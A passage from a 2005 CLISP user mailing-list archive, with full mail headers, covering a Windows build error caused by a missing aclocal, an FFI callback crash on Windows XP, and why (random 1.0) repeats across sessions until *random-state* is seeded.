Singhi http://www.public.asu.edu/~sksinghi/index.html "All animals are equal, but some animals are more equal than others." - Orwell, Animal Farm, 1945 From marko.kocic@gmail.com Thu Sep 15 01:06:33 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EFolJ-0006eS-Bk for clisp-list@lists.sourceforge.net; Thu, 15 Sep 2005 01:06:29 -0700 Received: from zproxy.gmail.com ([64.233.162.200]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EFolH-00075k-3t for clisp-list@lists.sourceforge.net; Thu, 15 Sep 2005 01:06:29 -0700 Received: by zproxy.gmail.com with SMTP id 40so182167nzk for ; Thu, 15 Sep 2005 01:06:19 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=G37FthQJOan9CkJfq3jljEB86ar2O8agvmXezBebrb7pOBA8IuI3Sa5QzWKRfYKfHwm6MrgCxoilKf63RRA26qWSYTM+BjhEdEbWMB4+V9u6s3bHOkIW4hWqrD2ztwC1KEf11vXJxDWAJ4Vqu1FTXHpeRsCHy5YQBm2BKKOwl4A= Received: by 10.36.119.11 with SMTP id r11mr798569nzc; Thu, 15 Sep 2005 01:06:19 -0700 (PDT) Received: by 10.36.97.6 with HTTP; Thu, 15 Sep 2005 01:06:19 -0700 (PDT) Message-ID: <9238e8de050915010637cfff7@mail.gmail.com> From: Marko Kocic Reply-To: marko.kocic@gmail.com To: clisp-list@lists.sourceforge.net, marko.kocic@gmail.com In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: <9238e8de05091407371f516243@mail.gmail.com> <9238e8de050914090152b5fece@mail.gmail.com> X-Spam-Score: -0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name -0.2 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Windows compilation error Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Sep 15 01:07:08 2005 X-Original-Date: Thu, 15 Sep 2005 10:06:19 +0200 Seems that your patch is included in CVS head now. I don't have gettext related errors yet, but now I'm getting the following: Configure findings: FFI: yes (user requested: default) readline: yes libsigsegv: yes ./makemake --with-dynamic-ffi --win32gcc --with-module=3Drawsock --srcdir=3D../src > Makefile cd ../ && make -f Makefile.devel src/configure make[1]: Entering directory `/c/dev/cvstree/sourceforge/clisp/clisp' egrep '(AC_INIT|AC_PREREQ)' src/configure.in > configure.ac echo AC_GNU_SOURCE >> configure.ac cat src/configure.in modules/berkeley-db/configure.in modules/clx/new-clx/configure.in modules/dirkey/configure.in modul es/fastcgi/configure.in modules/i18n/configure.in modules/oracle/configure.in modules/pari/configure.in modules/pcre/con figure.in modules/postgresql/configure.in modules/rawsock/configure.in modules/regexp/configure.in modules/syscalls/conf igure.in modules/wildcard/configure.in modules/zlib/configure.in | \ egrep -v -e 'AC_(INIT|PREREQ|CANONICAL_|GNU_SOURCE|CONFIG_HEADER|OUTPUT)' \ -e 'AC_CONFIG_FILE.*(Makefile|link\.sh)' >> configure.ac echo AC_OUTPUT >> configure.ac aclocal -I `pwd`/src/m4 --output=3Dsrc/autoconf/aclocal.m4 /bin/sh: aclocal: command not found make[1]: *** [src/autoconf/aclocal.m4] Error 127 make[1]: Leaving directory `/c/dev/cvstree/sourceforge/clisp/clisp' make: *** [../src/configure] Error 2 From Joerg-Cyril.Hoehle@t-systems.com Thu Sep 15 06:53:42 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EFuBK-0005yA-Hq for clisp-list@lists.sourceforge.net; Thu, 15 Sep 2005 06:53:42 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EFuBK-0004HV-7i for clisp-list@lists.sourceforge.net; Thu, 15 Sep 2005 06:53:42 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Thu, 15 Sep 2005 15:53:33 +0200 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 15 Sep 2005 15:53:33 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0305D78F02@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: efuzzyone@netscape.net Subject: [clisp-list] Re: FFI & handler case, problem MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.1 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Sep 15 06:54:23 2005 X-Original-Date: Thu, 15 Sep 2005 15:53:32 +0200 Surendra Singhi wrote: >This problem occurs only on Windows XP with native version of clisp. = There >seems to be no problem whatsoever on Windows 2000, or cygwin version = of clisp >on XP. >creating an object of a class, say with a code like: > (make-instance 'complex-2) >in the lisp function (which was called from C) causes the crash. > >But if I use the above class first and then use the wxCL code,=20 >it works fine.=20 No idea what's wrong, but could you ensure clisp is living in the same = thread in both cases, via calls to ext:process-id (which calls = kernel32.dll:GetCurrentProcessId) -- maybe there's a similar functions = for Thread-IDs -- from within the callback and in the normal REPL?? Afterwards, could you please inspect tests/ffi.tst and see how I define = and use a callback to a Lisp function, define one to do something more = convoluted in the callback than what the testsuite does now and call = that? The idea here is to have the FFI call a foreign function which is in = fact a Lisp function, thus going through all the FFI call-out + call-in = machinery in a more controlled manner than with arbitrary wxcl = callbacks: it would only involve clisp-internal code, no foreign = library. Regards, J=F6rg H=F6hle. From sds@gnu.org Thu Sep 15 07:38:45 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EFusv-0008Cr-Kg for clisp-list@lists.sourceforge.net; Thu, 15 Sep 2005 07:38:45 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EFusn-00075R-Ur for clisp-list@lists.sourceforge.net; Thu, 15 Sep 2005 07:38:45 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j8FEcEHS012699; Thu, 15 Sep 2005 10:38:14 -0400 (EDT) To: clisp-list@lists.sourceforge.net, marko.kocic@gmail.com Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <9238e8de050915010637cfff7@mail.gmail.com> (Marko Kocic's message of "Thu, 15 Sep 2005 10:06:19 +0200") References: <9238e8de05091407371f516243@mail.gmail.com> <9238e8de050914090152b5fece@mail.gmail.com> <9238e8de050915010637cfff7@mail.gmail.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, marko.kocic@gmail.com Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Windows compilation error Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Sep 15 07:39:28 2005 X-Original-Date: Thu, 15 Sep 2005 10:37:17 -0400 > * Marko Kocic [2005-09-15 10:06:19 +0200]: > > aclocal -I `pwd`/src/m4 --output=src/autoconf/aclocal.m4 > /bin/sh: aclocal: command not found > make[1]: *** [src/autoconf/aclocal.m4] Error 127 > make[1]: Leaving directory `/c/dev/cvstree/sourceforge/clisp/clisp' > make: *** [../src/configure] Error 2 -- Sam Steingold (http://www.podval.org/~sds) running w2k Let us remember that ours is a nation of lawyers and order. From marko.kocic@gmail.com Thu Sep 15 08:37:40 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EFvnw-0002cs-4K for clisp-list@lists.sourceforge.net; Thu, 15 Sep 2005 08:37:40 -0700 Received: from zproxy.gmail.com ([64.233.162.199]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EFvnt-0003J3-0t for clisp-list@lists.sourceforge.net; Thu, 15 Sep 2005 08:37:37 -0700 Received: by zproxy.gmail.com with SMTP id q3so228708nzb for ; Thu, 15 Sep 2005 08:37:30 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=cztpmOXyBIrcCjgihD16S3YK6VPn2d1xdSJJcXSZ2q4JuKafa9n5ZJ0TpUJmbSKSYs5vilRc+gFbfaQ+sp73Bt/veyfQgmF+iDvfUAfIXamNAcyOZ+s6Xbv0ObLmUN1iksFGMFwvOSlqFz2MRtSgT0X5GbqsSsngNTbOhns4O+A= Received: by 10.36.104.15 with SMTP id b15mr3485837nzc; Thu, 15 Sep 2005 08:37:30 -0700 (PDT) Received: by 10.36.97.6 with HTTP; Thu, 15 Sep 2005 08:37:30 -0700 (PDT) Message-ID: <9238e8de05091508376777f8d4@mail.gmail.com> From: Marko Kocic Reply-To: marko.kocic@gmail.com To: clisp-list@lists.sourceforge.net, marko.kocic@gmail.com In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: <9238e8de05091407371f516243@mail.gmail.com> <9238e8de050914090152b5fece@mail.gmail.com> <9238e8de050915010637cfff7@mail.gmail.com> X-Spam-Score: -0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name -0.2 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Windows compilation error Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Sep 15 08:38:26 2005 X-Original-Date: Thu, 15 Sep 2005 17:37:30 +0200 Thanks, it works now. From lisp-clisp-list@m.gmane.org Thu Sep 15 16:11:10 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EG2sn-00077e-F8 for clisp-list@lists.sourceforge.net; Thu, 15 Sep 2005 16:11:09 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EG2sl-0002nL-HI for clisp-list@lists.sourceforge.net; Thu, 15 Sep 2005 16:11:08 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1EG2rM-0001aw-P1 for clisp-list@lists.sourceforge.net; Fri, 16 Sep 2005 01:09:40 +0200 Received: from thar.dhcp.asu.edu ([149.169.179.56]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 16 Sep 2005 01:09:40 +0200 Received: from efuzzyone by thar.dhcp.asu.edu with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 16 Sep 2005 01:09:40 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Surendra Singhi Lines: 19 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: thar.dhcp.asu.edu Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAvBAMAAABXrFT6AAAAD1BMVEU6Egl4Uj+fSCzOknb5 7uZlO6HiAAACSUlEQVR42nWU4ZWsIAyFA1hAGCgAEwsAQgEysf+aXnB23/hnPY7O8Ts3yQ0BuP64 YD30LzDkDxDHsKekcavHF9RjiDYCOkzc0hc0Vtnp5VMSaRi+oAONQo2pcxF4KN7KROSpd+oAjxxv r16CHjIqS/xWpTPUQxOC5DfJ/ihX3t7K8uVoGlmezrFfMgtFjfv7qejbjrlyrzOdBzwACmsqLKVl bPioCqQUqMJUAXrN/4E4gh07i2BKe92+5YbSuJk/2VqnGh7AuyoGyJHlyOMHDA0bMnkRIenvbw69 Qprc7aNYF9+nAZUF5HKnWhzuffX3lKHdjxvAGToRS+cO0igI0QI6UIHYgDkpbCtgvctg8XKF09sn 6kcpomTrucCleUJ9UXVSOvnXMnqsUKr5ck3LgbTpMKO9u+NTlc7UxF5wSSu0rpJv0BQgxnQly1eX H7I5Wjn61aJNk6LacK3SehsfYJaiyyeEll59CeoNOkXzCg4AbB0Prpzi3SvgNYF1palJWOo4bjCB eU8Rt6ljxtAcvlxbAMFLsTjpGmO61IKN2a0A71gsvrMSMA3IFiOs5PYtChqAgvtQcAlgk1tR4COB kq71B4D3j6J42xYmtGjT3gjm8FZ4v0szCeZrrw4StN2Ag92T3xZJLFhdRNepGSje5tCvTcaSUCBC mMEA7EDFW0IbxDwwVXNUj3PlQLAN+7KhvvDCoNZnZyXZXYq3HWhNHTMHYNWaa1rJrb5lI9kJgIBh DJxOwCb0cxbo+D1W7Dc+Q/17zIw1yD/0H0JDvJOOO8rIAAAAAElFTkSuQmCC User-Agent: Gnus/5.1007 (Gnus v5.10.7) XEmacs/21.5 (chayote, windows-nt) Cancel-Lock: sha1:1WYIFZLsIgtaRJBN2dRDIBeSSN0= X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] random not too random Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Sep 15 16:12:00 2005 X-Original-Date: Thu, 15 Sep 2005 16:08:14 -0700 Hello, When I start clisp-2.35, and do [1]> (random 1.0) 0.52319837 I get a certain value, then when I exit clisp and again execute (random 1.0), I get the same result and I think the same series of random numbers. I think there should be some time element in initialising the random state of the random number generator. Thanks. -- Surendra Singhi http://www.public.asu.edu/~sksinghi/index.html "All animals are equal, but some animals are more equal than others." - Orwell, Animal Farm, 1945 From pjb@informatimago.com Thu Sep 15 17:24:22 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EG41c-0001td-8X for clisp-list@lists.sourceforge.net; Thu, 15 Sep 2005 17:24:20 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EG41Y-0000FK-2r for clisp-list@lists.sourceforge.net; Thu, 15 Sep 2005 17:24:20 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 1759E58344; Fri, 16 Sep 2005 02:24:07 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id CC7895833D; Fri, 16 Sep 2005 02:24:02 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id F0AD010F9F6; Fri, 16 Sep 2005 02:24:01 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17194.4257.711301.156471@thalassa.informatimago.com> To: Surendra Singhi Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] random not too random In-Reply-To: References: X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=0.2 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Sep 15 17:25:10 2005 X-Original-Date: Fri, 16 Sep 2005 02:24:01 +0200 Surendra Singhi writes: > Hello, > When I start clisp-2.35, and do > > [1]> (random 1.0) > 0.52319837 > > I get a certain value, then when I exit clisp and again execute (random 1.0), > I get the same result and I think the same series of random numbers. > > I think there should be some time element in initialising the random state of > the random number generator. The initial value of *random-state* is implementation dependant. sbcl does the same as clisp. If you want a specific behaviour, you must explicitely write: (setf *random-state* (make-random-state t)) ; to initialize to a random ; random state or: (setf *random-state* (read-random-state-from-file "~/random-seed")) ; to initialize to a known random state As you see, to initialize a random state to a specific seed, it's harder than to initialize it to a random state. So it seems a good thing that implementations do it for us. Otherwise we would have to maintain seed files. -- __Pascal Bourguignon__ http://www.informatimago.com/ Until real software engineering is developed, the next best practice is to develop with a dynamic system that has extreme late binding in all aspects. The first system to really do this in an important way is Lisp. -- Alan Kay From lisp-clisp-list@m.gmane.org Thu Sep 15 18:48:53 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EG5LQ-0007co-Sw for clisp-list@lists.sourceforge.net; Thu, 15 Sep 2005 18:48:52 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EG5LP-0001lV-EG for clisp-list@lists.sourceforge.net; Thu, 15 Sep 2005 18:48:53 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1EG5KM-0005oc-Bz for clisp-list@lists.sourceforge.net; Fri, 16 Sep 2005 03:47:46 +0200 Received: from thar.dhcp.asu.edu ([149.169.179.56]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 16 Sep 2005 03:47:46 +0200 Received: from efuzzyone by thar.dhcp.asu.edu with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 16 Sep 2005 03:47:46 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Surendra Singhi Lines: 48 Message-ID: References: <17194.4257.711301.156471@thalassa.informatimago.com> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: thar.dhcp.asu.edu Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAvBAMAAABXrFT6AAAAD1BMVEU6Egl4Uj+fSCzOknb5 7uZlO6HiAAACSUlEQVR42nWU4ZWsIAyFA1hAGCgAEwsAQgEysf+aXnB23/hnPY7O8Ts3yQ0BuP64 YD30LzDkDxDHsKekcavHF9RjiDYCOkzc0hc0Vtnp5VMSaRi+oAONQo2pcxF4KN7KROSpd+oAjxxv r16CHjIqS/xWpTPUQxOC5DfJ/ihX3t7K8uVoGlmezrFfMgtFjfv7qejbjrlyrzOdBzwACmsqLKVl bPioCqQUqMJUAXrN/4E4gh07i2BKe92+5YbSuJk/2VqnGh7AuyoGyJHlyOMHDA0bMnkRIenvbw69 Qprc7aNYF9+nAZUF5HKnWhzuffX3lKHdjxvAGToRS+cO0igI0QI6UIHYgDkpbCtgvctg8XKF09sn 6kcpomTrucCleUJ9UXVSOvnXMnqsUKr5ck3LgbTpMKO9u+NTlc7UxF5wSSu0rpJv0BQgxnQly1eX H7I5Wjn61aJNk6LacK3SehsfYJaiyyeEll59CeoNOkXzCg4AbB0Prpzi3SvgNYF1palJWOo4bjCB eU8Rt6ljxtAcvlxbAMFLsTjpGmO61IKN2a0A71gsvrMSMA3IFiOs5PYtChqAgvtQcAlgk1tR4COB kq71B4D3j6J42xYmtGjT3gjm8FZ4v0szCeZrrw4StN2Ag92T3xZJLFhdRNepGSje5tCvTcaSUCBC mMEA7EDFW0IbxDwwVXNUj3PlQLAN+7KhvvDCoNZnZyXZXYq3HWhNHTMHYNWaa1rJrb5lI9kJgIBh DJxOwCb0cxbo+D1W7Dc+Q/17zIw1yD/0H0JDvJOOO8rIAAAAAElFTkSuQmCC User-Agent: Gnus/5.1007 (Gnus v5.10.7) XEmacs/21.5 (chayote, windows-nt) Cancel-Lock: sha1:LMjCz67p0yQkIaSq82WVlfgJm8Q= X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: random not too random Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Sep 15 18:49:18 2005 X-Original-Date: Thu, 15 Sep 2005 18:46:35 -0700 Pascal Bourguignon writes: > Surendra Singhi writes: >> Hello, >> When I start clisp-2.35, and do >> >> [1]> (random 1.0) >> 0.52319837 >> >> I get a certain value, then when I exit clisp and again execute (random 1.0), >> I get the same result and I think the same series of random numbers. >> >> I think there should be some time element in initialising the random state of >> the random number generator. > > The initial value of *random-state* is implementation dependant. > sbcl does the same as clisp. > > (setf *random-state* (read-random-state-from-file "~/random-seed")) > ; to initialize to a known random state > Yes, thanks. Thats what I am currently doing. > As you see, to initialize a random state to a specific seed, it's > harder than to initialize it to a random state. So it seems a good > thing that implementations do it for us. Otherwise we would have to > maintain seed files. I agree. I think this behavior should be changed. I found this nice link on lisp random number generators design (I think its a chapter from Steele's book). http://www.cs.cmu.edu/Groups/AI/html/cltl/clm/node133.html In the rationale section, the author(s) say that for 'executing the same program many times in a reproducible manner' the user should create a file, and store the state there. So, I think they must have assumed that implementations will initialize themselves to different random state. Regards. -- Surendra Singhi http://www.public.asu.edu/~sksinghi/index.html "All animals are equal, but some animals are more equal than others." - Orwell, Animal Farm, 1945 From lisp-clisp-list@m.gmane.org Thu Sep 15 18:58:14 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EG5UU-00084M-I0 for clisp-list@lists.sourceforge.net; Thu, 15 Sep 2005 18:58:14 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EG5UT-0003dh-62 for clisp-list@lists.sourceforge.net; Thu, 15 Sep 2005 18:58:14 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1EG5Sq-0008LP-4Q for clisp-list@lists.sourceforge.net; Fri, 16 Sep 2005 03:56:32 +0200 Received: from thar.dhcp.asu.edu ([149.169.179.56]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 16 Sep 2005 03:56:32 +0200 Received: from efuzzyone by thar.dhcp.asu.edu with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 16 Sep 2005 03:56:32 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Surendra Singhi Lines: 32 Message-ID: References: <5F9130612D07074EB0A0CE7E69FD7A0305D78F02@S4DE8PSAAGS.blf.telekom.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: thar.dhcp.asu.edu Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAvBAMAAABXrFT6AAAAD1BMVEU6Egl4Uj+fSCzOknb5 7uZlO6HiAAACSUlEQVR42nWU4ZWsIAyFA1hAGCgAEwsAQgEysf+aXnB23/hnPY7O8Ts3yQ0BuP64 YD30LzDkDxDHsKekcavHF9RjiDYCOkzc0hc0Vtnp5VMSaRi+oAONQo2pcxF4KN7KROSpd+oAjxxv r16CHjIqS/xWpTPUQxOC5DfJ/ihX3t7K8uVoGlmezrFfMgtFjfv7qejbjrlyrzOdBzwACmsqLKVl bPioCqQUqMJUAXrN/4E4gh07i2BKe92+5YbSuJk/2VqnGh7AuyoGyJHlyOMHDA0bMnkRIenvbw69 Qprc7aNYF9+nAZUF5HKnWhzuffX3lKHdjxvAGToRS+cO0igI0QI6UIHYgDkpbCtgvctg8XKF09sn 6kcpomTrucCleUJ9UXVSOvnXMnqsUKr5ck3LgbTpMKO9u+NTlc7UxF5wSSu0rpJv0BQgxnQly1eX H7I5Wjn61aJNk6LacK3SehsfYJaiyyeEll59CeoNOkXzCg4AbB0Prpzi3SvgNYF1palJWOo4bjCB eU8Rt6ljxtAcvlxbAMFLsTjpGmO61IKN2a0A71gsvrMSMA3IFiOs5PYtChqAgvtQcAlgk1tR4COB kq71B4D3j6J42xYmtGjT3gjm8FZ4v0szCeZrrw4StN2Ag92T3xZJLFhdRNepGSje5tCvTcaSUCBC mMEA7EDFW0IbxDwwVXNUj3PlQLAN+7KhvvDCoNZnZyXZXYq3HWhNHTMHYNWaa1rJrb5lI9kJgIBh DJxOwCb0cxbo+D1W7Dc+Q/17zIw1yD/0H0JDvJOOO8rIAAAAAElFTkSuQmCC User-Agent: Gnus/5.1007 (Gnus v5.10.7) XEmacs/21.5 (chayote, windows-nt) Cancel-Lock: sha1:0pzsvw0PVRKyTKTADTyER1zq6fw= X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 AWL 